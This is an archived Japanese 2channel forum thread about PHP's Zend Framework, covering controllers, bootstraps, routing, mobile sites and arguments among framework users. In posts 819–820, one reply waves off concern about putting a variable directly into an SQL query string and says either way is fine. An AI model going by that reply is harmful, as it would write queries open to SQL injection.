いや、いい質問だったと思うよ
ZFでドキュメントルート外の画像等に認証を書けたり、画像を変換してから
送出する方法を知りたいわけでしょ。
Cakeでもそういう話は出てくるけど、重いからねぇ、その処理。

ちなみに、ZFのResponseオブジェクトは標準ではバイナリは扱えないから、
オレオレResponseオブジェクトを作ればいい線いくと思う。
764nobodyさん:2009/12/13(日) 21:40:41 ID:???
Controller内で
$this->_helper->viewRenderer->setNoRender()
Layout使ってるなら
$this->_helper->layout()->disableLayout()

すれば何の問題もない。
バイナリ使えないとかいっちゃうおじさんの話は聞いちゃだめ。
765nobodyさん:2009/12/13(日) 22:58:00 ID:???
>>763-764
> これだとビュースクリプトの内容が表示されなくて困ってます.
766nobodyさん:2009/12/13(日) 23:10:24 ID:???
>>764
はぁ?
Zend_Controller_Response_AbstractでStringにキャストされるんだが、
それでも、sendResponseで画像が送れるとでも?
767nobodyさん:2009/12/13(日) 23:25:40 ID:???
>>766
え、、俺のサイトで何の問題もなく送れてるけど。。
そもそも文字列(バイナリ)を文字列にキャストして別物になるとか、、
だいじょうぶ?

<?php
$file = file_get_contents('http://www.google.co.jp/intl/ja_jp/images/logo.gif');

echo md5($file)."\n";
echo md5((string)$file);

/*
4ecc2708ed3a513b22f7ca108a96fc0c
4ecc2708ed3a513b22f7ca108a96fc0c
*/
768nobodyさん:2009/12/13(日) 23:30:36 ID:???
ちょっと小学校からやりなおしてくるわ。
769nobodyさん:2009/12/13(日) 23:44:31 ID:???
>>766
質問者も画像は出てるんだろ
でないのはビュースクリプトの内容であって
だからみんなスクリプトにimgタグ挿差込めって最初言ってたわけで
770nobodyさん:2009/12/14(月) 02:35:57 ID:???
ZF2.0って何か劇的に変わるの?
771nobodyさん:2009/12/14(月) 19:15:06 ID:???
PHP5.3のnamespaceに移行予定。
過去のバージョンとの互換性は完全に無くなる。
772nobodyさん:2009/12/14(月) 20:15:24 ID:???
PHP5.3が安定稼働するのはあと1年はかかるだろうから、しばらくは安心。
773nobodyさん:2009/12/15(火) 17:44:35 ID:???
ZFってやってみて気付いたけど何かPEARみたいだね
774nobodyさん:2009/12/16(水) 08:05:51 ID:???
ZFってほかのフレームワークとは違うからね
Cakeは画期的でphp知らない人を対象にした感じだったけど
ZFはphpが出来る人を対象にしたような印象だった
775nobodyさん:2009/12/17(木) 10:39:14 ID:???
アクションコントローラで、モデルに処理させた結果を$this->viewに代入していて、
この値を以下のようにビュースクリプト内で条件分けして表示したりしなかったりしてるんですが、

<?php if ( $this->hogeflag ) { ?>
<!-- # 表示するものがあるなら-->
<?php echo $this->hogemsg ?>
<?php echo $this->hogemsg2 ?>
<?php echo $this->hogemsg3 ?>
<?php } else { ?>
<!-- # 何も表示しない-->
<?php } ?>

これを、どのページでもやりたいって思いました。
この場合、全部のアクションコントローラに、
モデルの結果を$this->viewに代入っていう処理を追加していかなきゃいけないのでしょうか?
アクションごとってのはさすがにあれなので、コンストラクタで行ってしまうとか?

いいやり方が無いかなぁと思って、
自作ビューヘルパを作って、モデル呼ぶのとか上記部分を中でやるってことも考えたのですが、
これだとページのデザイン変更時にビュースクリプトではなくビューヘルパの方を変えないといけなくなってしまうので
デザイナーの方が困るようです。

何かいい方法ありますでしょうか?
776nobodyさん:2009/12/17(木) 10:42:20 ID:???
initでやりゃいいじゃん
複数のコントローラに跨がるならスーパークラス作る
777nobodyさん:2009/12/17(木) 11:52:20 ID:???
>>775じゃないんだけど、もっと詳しくお教え願えませんか?
似たようなレイアウトのページをいくつも作らないといけない場合、
今はビューヘルパのスーパークラスを作って、継承したサブクラスでページを出力しているんだけれども、
もっとスマートか方法があるんじゃないかなと常々思っていまして。
778775:2009/12/17(木) 13:06:25 ID:???
全てのコントローラのinitに書くのはどうかと思うので、
スーパークラス化というのですか?共通の基底コントローラを挟もうと思います。

※基底コントローラ
class DefaultController extends Zend_Controller_Action {
 public function init() {
  // 共通初期処理
  $model = new GetHogeModel;
  $this->view->hogeflag = $model->getflag();
  $this->view->hogemsg = $model->getmsg();
  $this->view->hogemsg2 = $model->getmsg2();
  $this->view->hogemsg3 = $model->getmsg3();
  // 継承先初期処理へ
  $this->init2();
 }
 public function init2() {
 }
}

※他のコントローラ
class IndexController extends DefaultController{
 public function init2() {
  //コントローラごとの初期処理
 }
 public function indexAction() {
  echo $this->view->render("hoge/index.html");
 }
}

こんなイメージでいいんでしょうか???
779nobodyさん:2009/12/17(木) 13:37:26 ID:???
init2はいらない
サブクラスでinitをオーバーライドして、オーバーライドしたinitメソッド内でparent::initすればいい
780775:2009/12/17(木) 14:41:47 ID:???
>>779
なるほど!オーバーライド先で親のinit()を見るにはこうするんですね。
ありがとうございます。
781nobodyさん:2009/12/17(木) 16:02:16 ID:???
Bootstrapのがいいんじゃないの?
782nobodyさん:2009/12/17(木) 16:19:54 ID:???
基底コントローラ作るのってあまりスマートじゃないよね
783nobodyさん:2009/12/17(木) 16:45:34 ID:???
>>782
そう?
抽象クラス作って共通処理を固めた方が同じコードを何度も書かなくて良いと思うけどなぁ。
784nobodyさん:2009/12/17(木) 17:03:41 ID:???
オブジェクト指向的な発想だよね
他のオブジェクト指向なフレームワークや言語でも応用できる方法だから
あんまりZendべったりじゃなくて俺は好きだ
785nobodyさん:2009/12/17(木) 17:57:23 ID:???
OO設計ではなく楽するためのOOPだがな
786nobodyさん:2009/12/17(木) 18:14:18 ID:???
楽をしないで何がOOPじゃい
787nobodyさん:2009/12/17(木) 18:26:26 ID:???
>>776だけどJavaプログラマですまん
788nobodyさん:2009/12/17(木) 18:34:08 ID:???
>>786
これだからPHPスクリプターは(笑)
789nobodyさん:2009/12/17(木) 18:41:00 ID:???
より簡単により柔軟により効率よくという発想で
プログラミングは発展してるじゃん。
楽したいと思うのは当然のことだ。
いや、プログラマの権利だね!
790nobodyさん:2009/12/17(木) 19:00:47 ID:???
ZFでHTML Purifierみたいな機能ってある?
791nobodyさん:2009/12/17(木) 19:01:22 ID:???
HTML Purifierを使えばいいのでは
792nobodyさん:2009/12/17(木) 19:49:58 ID:???
よくみたらfilter_StripTagsなんてのを見つけた
793nobodyさん:2009/12/17(木) 21:25:57 ID:???
>>782
Mixinが使えればなあ。
794nobodyさん:2009/12/29(火) 16:05:32 ID:VOALtVVE
エラー処理のやり方がさっぱりわからないので、ヒントか概要か何か
教えてください。

ZendDB使ってfetchallとかした場合に
SQLエラー、DBエラー、正常終了だけどゼロ件
など考えられますが、その処理の分け方がよくわかりません。
795nobodyさん:2009/12/29(火) 17:24:07 ID:???
>>794
try-catcheでZend_Db_Exceptionをとれば分かると思うが
俺はSQLエラーとDBエラーの区別まではやってない
データ無しは返り値をcount()すればよいかと
796nobodyさん:2009/12/29(火) 17:42:55 ID:VOALtVVE
>795
レス感謝。
Zendといってもやり方は普通でいいんですね!
797nobodyさん:2009/12/29(火) 22:00:45 ID:???
>>794
マルチ乙
798nobodyさん:2009/12/31(木) 11:20:51 ID:???
ZendFWで作られてるLiveCommerceってソースがオープンなんだね。
他人の設計を見ると、いろいろ参考になるな。
799nobodyさん:2009/12/31(木) 12:48:19 ID:???
使う時にソースがオープンじゃないPHPスクリプトなんてあるのか
800nobodyさん:2009/12/31(木) 13:13:51 ID:???
>>799
Zend Guardってのがあってだな。
801nobodyさん:2009/12/31(木) 13:34:59 ID:???
dezendで糸冬
802nobodyさん:2010/01/01(金) 16:40:50 ID:A1Hlzrb8
zend_applicaton使ったらなんだろ、ことしの汚いソースがすべてきれいになった
来年もよろしくなぁ!みんな

ありがとうZendFramework!!!!!!!!!!!!!!!!!!!!!!!!!!
803nobodyさん:2010/01/01(金) 16:51:38 ID:???
俺なんか宝くじに当たって彼女ができて
札束の風呂に入ってウシシな状態。
これもそれも全部zendのおかげ。
804nobodyさん:2010/01/01(金) 17:51:24 ID:???
高橋名人か
805nobodyさん:2010/01/01(金) 22:45:55 ID:A1Hlzrb8
彼女できますに!
ZendFrameworkさんお願いします。
806nobodyさん:2010/01/02(土) 03:21:31 ID:I6hjNCgm
Zend_Applicationにてハマってます。
僕も奇麗なコードにしたいです。

module構造でDefault, Adminというモジュールを作成しています。

DefaultにはDefault_Bootstrapクラスとして
Zend_Application_Bootstrap_Bootstrapを継承し、

AdminにはAdmin_Bootstrap.phpクラスとして
Zend_Application_Module_Bootstrapを継承しています。

両方とも_initから始まるメソッドを定義しています。

上記の状態でブラウザからDefaultモジュールにアクセスすると
AdminモジュールのBootstrapまで動いてしまいます。

動き的に期待しているのはそのモジュールのみのBootstrapが
動いてくれればと思っているのですが、うまくいきません。。

皆様、どうやって使用してますか?
807nobodyさん:2010/01/02(土) 11:34:18 ID:2ObkH84V
モジュールはわからんが

リソースプラグイン

moduleControllerDirectoryName (アプリケーションがモジュールに分割されている場合)アクションコントローラが設置されているサブディレクトリ名を指定
moduleDirectory (アプリケーションがモジュールに分割されている場合)モジュールが設置されているディレクトリ

ttp://codezine.jp/article/detail/4366?p=4
会員にならないと見れないかも
808nobodyさん:2010/01/02(土) 11:37:43 ID:2ObkH84V
続き

設定ファイルに設定を記入する際、

フロントコントローラーを生成するリソースプラグイン
項目名          説明
controllerDirectory   アクションコントローラが設置されているディレクトリ名を指定。ただし、アプリケーションが複数のモジュールから成る場合には、配列で(モジュール名)=>(ディレクトリ名)という形で指定
moduleControllerDirectoryName (アプリケーションがモジュールに分割されている場合)アクションコントローラが設置されているサブディレクトリ名を指定
moduleDirectory (アプリケーションがモジュールに分割されている場合)モジュールが設置されているディレクトリ
809nobodyさん:2010/01/02(土) 17:16:07 ID:???
810nobodyさん:2010/01/02(土) 21:02:49 ID:???
>>802
16時間で書いた分量なんてたかが知れてるだろ
811nobodyさん:2010/01/02(土) 23:47:45 ID:I6hjNCgm
>807さん
>808さん
>809さん

教えて頂いてありがとうございます。
もしかしたらですが、自分はBootstrapの使い方自体を間違えているのでしょうか?

期待しているのは各モジュールのBootstrapに_initLayoutというメソッドを追加し、
そこでモジュール毎のlayoutファイルを変更したいと考えています。

こういう使い方、そもそもBootstrapにて記載しないほうが良いのでしょうか?

_initAutoload()のような感じでモジュール毎のクラスを自動読み込みするような
処理のみをBootstrapには記載したほうが良いのですかね?
812nobodyさん:2010/01/03(日) 00:00:40 ID:quLBmdEY
application.iniで下記を指定していた為でした。。

resources.modules[] =

お騒がせしてすいません。。
813nobodyさん:2010/01/03(日) 05:37:52 ID:???
>>811
ZFに限っていえば、その辺の作法は自由でいいんじゃないかな。
他のフレームワークの多くはFWが用意するアーキテクチャ以外は邪道だけど
ZFの場合はアーキテクチャが緩いから、自分好みに設計すればいいよ。

ただ、モジュール別のレイアウトファイルを使うだけなら、
モジュール別Bootstrapというより、Layoutパスの与え方だけで済むと思う。
814nobodyさん:2010/01/03(日) 23:51:26 ID:GumIc7qR
My_Application_Resource使ってサイト名とか連絡先とかの
共通設定みたいなので
My_Application_Resource_Configって作ろうとしたら
init()が呼び出されないんですけど
Configって名前なんで使えないんでしょうか?
815814:2010/01/04(月) 00:14:31 ID:???
つかえました
Bootstrap.phpに_initConfigがいたせいでした
ごめいわくおかけました
816nobodyさん:2010/01/05(火) 04:24:32 ID:OIqW2mkQ
Zend_FormにFilterで2chの名無しさんみたいに
空白の場合は「名無しさん」になるようなことをしようとしたのですが
そうするとgetValue()がフィルターを通す関係で
デフォルトの空白が「名無しさん」に変換されてしまいます
これを打開するにはどうしたらよいでしょうか
817nobodyさん:2010/01/05(火) 04:30:13 ID:???
Filterでやるもんではなくね?
818nobodyさん:2010/01/05(火) 15:12:48 ID:???
>>816のってフィルターの役割じゃないんですか?
じゃあやめることにします
ありがとうございました
819nobodyさん:2010/01/07(木) 09:06:02 ID:7Y5nOQnh
みんな、zend_dbで定型のクエリ書いてますか?  ↓こういう風に
$db->fetchAll(
"SELECT hoge FROM hoget WHERE var = :v",
array('v' => 'Sir')
);

どうも不慣れというか面倒なので普通に
SELECT hoge FROM hoget WHERE var=$v
とかのクエリ書いてしまってるけどこれだとどういう問題があるんでしょうか?
SQLインジェクション対策を自前でやらなきゃいけなくなるってことですか?
820nobodyさん:2010/01/07(木) 09:31:31 ID:???
抽象化が必要なシステムと必要のないシステムがあるからね
exprを動的に投入しないならどっちでもいいわよ。好きにして
821nobodyさん:2010/01/07(木) 14:02:33 ID:7Y5nOQnh
>>820
どうもありがとう
もう一つ聞きたいんですが、バーチャルドメインで siteA.com, siteB.comの2つを運用してて
両方でzendFWを利用する場合どうしたら良いんでしょう?
FWのソフトのインストールを一つだけし、それぞれのフロントコントローラでapplicationディレクトリを
別々に指定すれば独立したアプリケーション構造を持たせることが出来るんでしょうか?
822nobodyさん:2010/01/07(木) 14:14:33 ID:???
> FWのソフト
微妙に意味がわからないが、エスパーしてみると。
モジュールを共有しないで独立で作成するなら、
moduleディレクトリを独立で作成してエントリポイントで振り分けるといいかも。

モジュールを共有するなら、ドメインでルーティングするだけでOK
つ Zend_Controller_Router_Route_Hostname
823821:2010/01/07(木) 16:22:54 ID:7Y5nOQnh
>>822
ありがとうございます。
なるほど、ドメインでルーティングすることが出来るのか〜。助かりました。
では、さらにまた少し違う質問ですが siteA.comで携帯版サイトを作るとします。
ドメインは mobile.siteA.comです
この場合、apacheの設定でサブドメインでフォルダ振り分けという良くある方法と
zendFWのルーティングでコントローラ名(mobile)を実行する方法とどっちが良いんでしょうか?

この2つはどう違うのか、そもそもわからないんです…
フォルダ振り分けってことは、zendFWが動いてる以上任意のコントローラーに委譲することとほぼ同じですよね?
(mod_rewriteの例外指定してなければ)
現在、コントローラ(仮にmobileコントローラ)に委譲するのが気が進まないのですが、その理由として
PC版サイトに profileコントローラ(indexアクション/editアクション)、searchコントローラ…て風に
複数コントローラがあってそれを携帯版でも実現しようとすると、コントローラはmobileコントローラで
「固定」(確定?)しているために、PC版で独立したコントローラとして動いてたものをその中の細かいアクションとして
動作させなきゃいけない気がするためです。
profileコントローラのindexアクションは -> profile_indexアクション(mobile.siteA.com/profile_indexにアクセス)
searchコントローラのshopアクションは -> search_shopアクション(mobile.siteA.com/search_shopにアクセス)
…と言う感じに。。

つまり、全部のコントローラとそのアクションを全部mobileコントローラにまとめて書かなきゃって
思い込んでるんですが、勘違いでしょうか? 解決方法あれば教えてもらえると嬉しいです。
長くてすみませんが宜しくお願いします

あと、>>822さんに教えていただいたドメインを使ったルーティングって、ドメインが存在してないと
テストできないのですか?
自宅サーバのlocalhostで動かしている環境で、この機能を試すことは出来るんでしょうか?
824nobodyさん:2010/01/07(木) 18:36:43 ID:???
> 自宅サーバのlocalhostで動かしている環境で、この機能を試すことは出来るんでしょうか?

hostsに書くといいよ
825821:2010/01/08(金) 03:09:11 ID:???
>>824
凄い! hostsなんて知りませんでした。疑問がわいた部分もありますが、それは別板で質問します。

>>823の前半部分の、
「apacheの設定でサブドメイン用ディレクトリにリンクさせるのと、任意のコントローラにroutingする場合の違い」
「mobileコントローラに全部のコントローラ+アクションをまとめて記述しなきゃダメなのか?」
という部分はどうなんでしょうか?
繰り返しですみませんが、気が向いた方回答いただけると嬉しいです
826nobodyさん:2010/01/08(金) 09:11:27 ID:???
>>825
モバイル版でもPC版と全く同じコントローラ/アクションを使用したいのであれば、
コントローラ自体はPC版と共有し、ビューのみモバイル版を用意すればいい。
PCとモバイル版でロジック自体が変わるのであれば、mobileコントローラを作り必要なアクションを記述する事になるかと。
ページ数が多いのであれば、Mobileモジュールにしちゃうかな・・・
PC版と共有する処理は基底クラスに記述しておき、両方のモジュールから使用出来るようにしておく。

>apacheの設定でサブドメイン用ディレクトリにリンクさせる〜
複数ドメインで同じシステムを使い回す場合、
ルーティング処理で振り分けるか、ブートストラップをドメイン分用意して処理をわけるかしか無いんじゃ?
難しく考えすぎている気がするw

827821:2010/01/08(金) 16:53:52 ID:???
>>826
ほんっとうに助かります、勉強になりました
勉強して実践してみたいと思います、ありがとうございました
828nobodyさん:2010/01/08(金) 23:32:05 ID:FFzCAEUM
ZFを応援しているものです。

RADとして使用するのであればCakePHPが〜といった風潮が現在はありますが
ZFでもzfコマンドがもっと強化されたり、modelがもっと簡単に実装できたり、
最終的にscaffoldがついたりすると本当に良いフレームワークになりますよね。

勿論そういったRADのガシガシの堅さがなく、緩くて自由度が高いのが

ZFの良さでもありますがZend_Applicationなんかが出たときからは
ある意味、作り方のルールみたいなのができたりしてますしね。

早くより、便利になりませんかね。

皆さん、ブログとかでもっともっとZFの情報を増やしていきましょい。
829sage:2010/01/08(金) 23:46:30 ID:FFzCAEUM
あっ!!Doctrineがあるか。
830nobodyさん:2010/01/09(土) 04:18:51 ID:???
ZFなんて使ってるところ聞いたことねー。
SymfonyかCakePHPだけでいいよ。
831nobodyさん:2010/01/09(土) 08:54:45 ID:???
>>830
安藤乙
832nobodyさん:2010/01/09(土) 10:13:26 ID:???
Symfony使えるって王道だし、Cakeは一度くらいは体験してみるべきだし、
ZFが何物かは知っておいた方がいいってのは言えるな。

疎結合のおかげで相互運用がやりやすくなっているときに
どちらかに加担する発想自体が無意味
ってのを理解しているのがZF使いの基本だと思う。
833nobodyさん:2010/01/09(土) 16:19:07 ID:???
IDE使いとしてはマジックメソッド多用系の実装は迎合出来ねぇなぁ・・・
cakeはそんな印象。
834nobodyさん:2010/01/09(土) 20:27:55 ID:eC7071wh
ZendFrameworkをつかってCakeみたいなの作ればいいかもね!
ModelとValidateをCakeに似た感じにしてうまく自動化すればCakeイラネ!
835nobodyさん:2010/01/09(土) 20:59:10 ID:???
口先だけじゃないなら、ぜひ作って公開してみてくれ

Cakeイラネ≒ZFを使いこなせていないに、1000カノッサ
836nobodyさん:2010/01/09(土) 21:55:20 ID:???
イラネ=使いこなせてない?
837nobodyさん:2010/01/09(土) 22:13:46 ID:eC7071wh
>>835
ZFはライブラリの集まり
使いこなす=どのコンポーネントを使えば使いこなすことになるの?
838nobodyさん:2010/01/09(土) 22:39:20 ID:???
>836
ZFが使いこなせてくれば、CakeイラネではなくCake連携になる
Cakeの良さを引き出すのがZF流

>837
ZFはライブラリの集まりというのは使い方の一つにすぎない
使いこなすということは、ライブラリの使いかたもあるし、
他のFWとの連携、単独使用もありうる

"use-at-will"の言葉通り、どう使うかは自由ってのはまんまだが、
"use-at-will"を支える技術的背景や方法論を理解しながら使えれば
使いこなしたことになるというのが、俺流の「使いこなし」キリッ
839nobodyさん:2010/01/09(土) 22:40:53 ID:28GW/CcG
,j;;;;;j,. ---一、 `  ―--‐、_ l;;;;;;
 {;;;;;;ゝ T辷iフ i    f'辷jァ  !i;;;;;   ZFはライブラリの集まり
  ヾ;;;ハ    ノ       .::!lリ;;r゙  
   `Z;i   〈.,_..,.      ノ;;;;;;;;>  そんなふうに考えていた時期が
   ,;ぇハ、 、_,.ー-、_',.    ,f゙: Y;;f    俺にもありました
   ~''戈ヽ   `二´    r'´:::. `!
840nobodyさん:2010/01/10(日) 00:15:46 ID:???
まぁ、FWの選択としてZFは有り得ない。
現実的にも技術者の趣味にしてもな。
841nobodyさん:2010/01/10(日) 11:23:46 ID:JyYQK5lU
>>840
なんでそう思ってんのか書かないと、なんかの信者かただの工作員だ。

たしかに、ZFWのこれから先はは自分で考えてねって感じは、急いでる人や
無能なエンジニアにはちょっと不向きかもね。
842nobodyさん:2010/01/10(日) 12:26:33 ID:IYuPCGtS
>>838
ZFが使いこなせてくれば、CakeイラネではなくCake連携になるとは
具体的に?

他のFWとの連携、単独使用もありうるとか
これこそライブラリの使い方だろ
843nobodyさん:2010/01/10(日) 12:36:39 ID:IYuPCGtS
Cakeの良さを引き出すのがZF流
Cakeの良さを引き出すのがZF流
Cakeの良さを引き出すのがZF流
Cakeの良さを引き出すのがZF流
Cakeの良さを引き出すのがZF流
Cakeの良さを引き出すのがZF流
Cakeの良さを引き出すのがZF流
Cakeの良さを引き出すのがZF流
Cakeの良さを引き出すのがZF流
844nobodyさん:2010/01/10(日) 12:48:47 ID:???
>842
単独使用のどこが、ライブラリの使い方なの?
連携のどこがライブラリ(ZFを)の使い方なの?

> 具体的に?
ZFのMVCを使い、脇にCakeをセット、ドメインは自前で用意しつつ、
簡易実装でいいところは、ビヘイビアをBakeryから入手して動かすとかね。

DDDはZFを基軸にしたほうがやりやすい。
845nobodyさん:2010/01/10(日) 13:48:49 ID:IYuPCGtS
>>844
普通無理に連携しないだろwwww

ZF使いこなしてるのは具体的に
Controller、Applicationを軸に、実装したい機能をコンポーネント
から探してマニュアルやソースコードみて
すばやく実装できるかどうかがポイントだろ?

しょせんWEBアプリ作るためだけなんだから


846nobodyさん:2010/01/10(日) 14:31:41 ID:???
>>845
ネタだよな?
847nobodyさん:2010/01/10(日) 14:53:33 ID:???
もちろん
848nobodyさん:2010/01/10(日) 14:59:10 ID:IYuPCGtS
>>846

ほかに使いこなせてる例をあげてみて
849nobodyさん:2010/01/10(日) 15:09:16 ID:???
>848
でっかい釣り針すなあ。
850nobodyさん:2010/01/10(日) 15:30:00 ID:???
うちはMVCの部分だけ使って
細かいライブラリは逆に使ってないわ
851sage:2010/01/10(日) 21:08:02 ID:???
できる限り、一律なやり方で開発できると多人数で開発しやすいし、
担当が変わった場合も引き継ぎ等を含めた保守性も上がりますよね。

MVC部分だけだと勿体ないですよ。

オレオレフレームワークにならないように徹したほうが
良いことが多いですけどね。

特に経営なども絡む管理者層になれば従業員の査定なんかも
しやすいですし、工数も見えやすい。

ZFはZend_Appliationを出したなら、もっとガシガシに固めてくれると
助かるんですけどね。
852nobodyさん:2010/01/10(日) 21:45:17 ID:???
日本的なセンスがないから独自でやった方が楽だし早いよ
特に携帯サイト兼用してたりメール送信絡んだりするシステムは
853sage:2010/01/10(日) 21:53:16 ID:???
日本的なセンスは確かにないですね。

メールはQdMailのライブラリが良いかもですね。
モバイルについては、、フレームワークだけじゃキツイですね。

絵文字が本当にウザイですね。
854nobodyさん:2010/01/10(日) 23:24:54 ID:IYuPCGtS
>>851
ガシガシ固めるとは?
855nobodyさん:2010/01/10(日) 23:32:58 ID:???
ZFがメジャーになっちゃこまる連中もいるのさ
撹乱情報が入るが、惑わされないことだぜ
856nobodyさん:2010/01/14(木) 22:49:08 ID:IR5dAcAN
今、ルーティングの勉強をしています。が、よくわからないので教えてください
たとえば
localhost/school/index/ken/tokyo で東京の学校一覧を表示するとして、
localhost/tokyo でも同じことが出来るように設定することは出来ました
(schoolコントローラの indexアクションへのアクセスです)
が、これにさらにパラメータがついたとき(または何もつかなかったとき)に
効率的にルーティング設定するにはどうしたら良いですか?

school/index/ken/tokyo/type/j(中学校の一覧を作る)、school/index/ken/tokyo/type/h(高校の一覧を作る)
みたいにパラメータがついた時でも、一つのルーティング設定で対応することは出来るでしょうか?

routes.search.route = "/:ken/type/:type"
routes.search.defaults.controller="school"
routes.search.defaults.action="index"
routes.search.reqs.ken="\w+"
routes.search.reqs.type="\w"
routes.school.type = "Zend_Controller_Router_Route"
上記で良いのかなと思い試したんですが、これだと最初に出来ていた
localhost/tokyo での学校全体一覧が出来なくなりました。
どうしたらパラメータが(複数)ついてもつかなくても各条件で適切に動く設定が出来ますか?
お手数おかけしますが宜しくお願いします
857856:2010/01/14(木) 22:51:09 ID:???
ごめんなさい、routes.search.〜となってるところは全部routes.school.〜のマチガイです
858nobodyさん:2010/01/15(金) 03:18:03 ID:???
>856
先に、:ken/type/:typeでのルートを書いといて、
次の条件に:kenでヒットするのを書けば?
どっちを先に書くか忘れたから逆かもしれないけど
859856:2010/01/15(金) 06:31:19 ID:Ze0M8NRb
>>858
ありがとうございます。そのやり方で考えたんですが、それだとパラメータが増えた時に
その分だけ設定を無限に増やしていかなければならなくなりますよね?
それだと非効率という気がするんです

たとえば、中学校で、かつ女子校のみに限定して絞り込むとき
/:ken/type/:type/joshiko/:joshiko っていう専用のルーティングをまた作らなければならなくなるし
男子校のみなら男子校用、私立のみなら、、それらが組み合わさったら…と無限にパターンを書き加えてくのは
おかしいのではないかなと。まとめて一つで、各要素があってもなくても動く設定は無理なんでしょうか?
そんなはずないと思いつつわからないのです、正規表現を使ったやり方かなと思ってるんですが難しくて…
どなたか、お知恵を頂けると嬉しいです。すみませんが宜しくお願いします
860nobodyさん:2010/01/15(金) 07:08:02 ID:???
そこまでやる必要があるなら、
自前でルートを書いてスクリプトで判定するというのが早そうだよ
matchとassembleを書くだけだから難しくないし
861856:2010/01/15(金) 10:37:20 ID:???
>>860
ありがとうございます。あれから色々迷ってたんですがあっさり解決しました。
標準のルーティングが/module/controller/action/var1/val1/var2/val2…で動くように
/:ken/type/:type/* の形でワイルドカード(*)を使って任意変数の繰り返しを表現できるのに
気づきました。どうもすみません、ありがとうございました
862nobodyさん:2010/01/15(金) 17:09:04 ID:???
今俺ZFを始めているんだが、上の方で批判的な意見とかあって少しやる気が落ちた(苦笑
まぁ、色々と自分で調べまくって自分にはFWはZFが一番合ってると思って始めたから最期までやり通すけど
863nobodyさん:2010/01/15(金) 17:23:47 ID:???
>>862
日記書くとこ間違ってるよ。
ここは2ちゃんねるといって不特定多数が読む掲示板なんだよ。
わかったらさっさとお帰り。
864nobodyさん:2010/01/15(金) 17:55:06 ID:???
久々にこのスレ来てみた
Live2chで見てるからレスが良く付いて活況だなと思っていたら・・・
もうずっとくだらん論争ばかりが続いていたんだな
CakePHPよりもいつも上にあったし
てっきり内容が濃いのかと思ってたらコレだ
865nobodyさん:2010/01/15(金) 18:13:34 ID:???
すみません、ZendFrameworkって例えば$_POSTとかheader()といったPHPで普通に使っていたメソッドなどが非推奨なものが多いようですが、これら非推奨なPHP関数ってどこで調べればいいのでしょうか?
うっかり使いまくりそうなのですが・・・
866nobodyさん:2010/01/15(金) 18:22:07 ID:???
>>865
素直に入門本を買って順にやって行けば順に解説してくれてますよ、
自分はzendframework徹底入門ての買ったけど。
今までの通常のやり方でいいじゃーんって気分になること多いけど、結局素直に従った方が合理的だったり…
安くはないけど買った方が良いんじゃないかなぁ
867nobodyさん:2010/01/15(金) 21:36:40 ID:???
批判的な意見があるとやる気無くなるって子供かよw
868nobodyさん:2010/01/15(金) 22:51:56 ID:???
>>862
ZFをこころよく思わない人たちがいろいろ書いたけど、惑わされずに、マイペースで進むといいよ。
869nobodyさん:2010/01/16(土) 00:16:45 ID:???
むしろ、批判的意見こそ必要だと思われ
ばんばん批判し合って風通しよくしようぜ

870nobodyさん:2010/01/16(土) 00:28:29 ID:???
日本語圏で批判し合っててもそれが本家に届かなかったら意味無いような。
そうでもないか
871nobodyさん:2010/01/16(土) 01:00:40 ID:???
まぁ、たしかにね

なんかうまい方法ないかね
872nobodyさん:2010/01/16(土) 01:52:38 ID:???
本家に書けばいいじゃん
873nobodyさん:2010/01/16(土) 03:42:16 ID:???
頭いいな
874nobodyさん:2010/01/16(土) 08:00:44 ID:???
>>870
issue tracker への投稿なり、 下記URL で紹介したフォーラムでの議論なり、翻訳なり、ぜひ御参加よろしくお願いします。
http://www.zend.co.jp/tech/index.php?cmd=read&page=%A4%BD%A4%CE%C2%BE%2FZend%20Framework%2FFAQ
875nobodyさん:2010/01/16(土) 08:54:30 ID:???
それはそうと、ZFは日本語圏では具体的にどういうところが使い勝手が悪いの?
876nobodyさん:2010/01/16(土) 09:17:59 ID:???
>>866
そういう関数のこと全部が載ってますか?
それとも載ってるのは主な関数だけですか?
877nobodyさん:2010/01/16(土) 10:30:24 ID:???
>>875
私も知りたいです。ただし、下記にあげた以外のコンポーネントで。

・Zend_Filter/Validate の alnum や alpha : あらかじめ Zend_Locale の setLocale で日本を指定してね。

・Zend_Pdf : IPA フォントファイルを使えます。
IBM の i5/OS の人は残念ながら PHPExcel / TCPDF を使ってください。(i5/OS 用の iconv 関数が対応していないため)

・Zend_Mail/Mime : setHeaderEncoding で Base64 を指定して、 なおかつ各種関数に与える日本語文字列をあらかじめ ISO-2022-JP に変換しておいてください
(mbstring エクステンションをコンポーネント内で使ってはいけないルールになっているため、ご面倒ですがあらかじめ変換をお願いします)

・Zend_Mail の携帯電話への対応 : われはと思わん人の contribute を望みます!
878nobodyさん:2010/01/16(土) 12:08:21 ID:???
日本だと、特に携帯電話の対応が必須だからこいつは便利。

BootstrapでビューのSuffixをPCはphtml、携帯はhtmlとすると同じアドレスで運用できるし、
分岐処理の追加が1つだけになるから楽。
879nobodyさん:2010/01/16(土) 18:17:12 ID:???
CakePHP、Symfonyにも言える事だが、FWの公式マニュアルは関数とかが分かりにくい
ただ文章をツラツラと述べているだけ(その中にたまに簡潔に関数の説明があるだけ)だし
主立ったようなサンプルコードもPHPやPEARのマニュアルに比べても充実していないし
公式運営者達はもっと頑張るべきだな
せめてPHPやPEAR程度のマニュアルにしてほしい
880nobodyさん:2010/01/16(土) 18:21:35 ID:???
Symfonyの本がないっての指摘したら、Symfonyは公式ドキュメントが整備されてるから不必要って帰ってきたんで
見てみたらZendと変わらんレベルだったわ
あれじゃ初心者に受け入れられないだろう
881nobodyさん:2010/01/16(土) 18:27:06 ID:???
> 関数とかが分かりにくい

APIの方見てる?
882nobodyさん:2010/01/16(土) 18:31:16 ID:???
Zendで携帯サイト作ってるけどZend_Mailで件名文字化けするの以外は
そんなに困ったことはなかったな
もちろん絵文字関連は独自実装したけども
883nobodyさん:2010/01/16(土) 18:32:13 ID:???
>>878
ちなみにうちはディレクトリ分けてる
884nobodyさん:2010/01/16(土) 18:58:55 ID:fYNXcpFq
携帯版のページを作るときって、どう対処してますか?
端末判定してviewのみ切り替えてますか? それとも専用のコントローラ書いたりしてるの?
885nobodyさん:2010/01/16(土) 19:09:52 ID:???
>>880
わざわざ他スレで工作してる暇があったらZFで実績出してアピールしてください
886nobodyさん:2010/01/16(土) 19:40:42 ID:???
>>879
苦言。
「公式運営者」というものは存在しません。
Zend Technology がお給料出して、開発をバックアップしてください、と依頼した数人は別として、
それ以外はほとんどがボランティアです。

何か足りないものがあると感じたら、
他の誰かがやってくれるのを待つのではなく、
